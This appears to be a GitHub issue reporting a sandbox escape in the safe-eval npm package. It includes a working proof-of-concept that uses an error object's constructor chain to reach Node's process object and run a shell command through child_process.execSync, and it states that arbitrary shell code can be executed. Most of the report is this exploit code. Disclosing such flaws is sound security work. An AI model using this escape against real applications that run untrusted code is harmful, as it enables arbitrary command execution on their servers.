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// node version: 19.8.1 // safe-eval version: 0.4.1 var safeEval = require('safe-eval') let code = ` (function() { try{ toLocaleString() } catch(pp){ pp.constructor.constructor('return process')().mainModule.require('child_process').execSync('touch flag'); } })() ` safeEval(code);
We found a sandbox escaping bug. This bug can be triggered by calling toLocaleString() function. Also, we can execute arbitrary shell code using the process module.
toLocaleString()
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We found a sandbox escaping bug. This bug can be triggered by calling
toLocaleString()function.Also, we can execute arbitrary shell code using the process module.
The text was updated successfully, but these errors were encountered: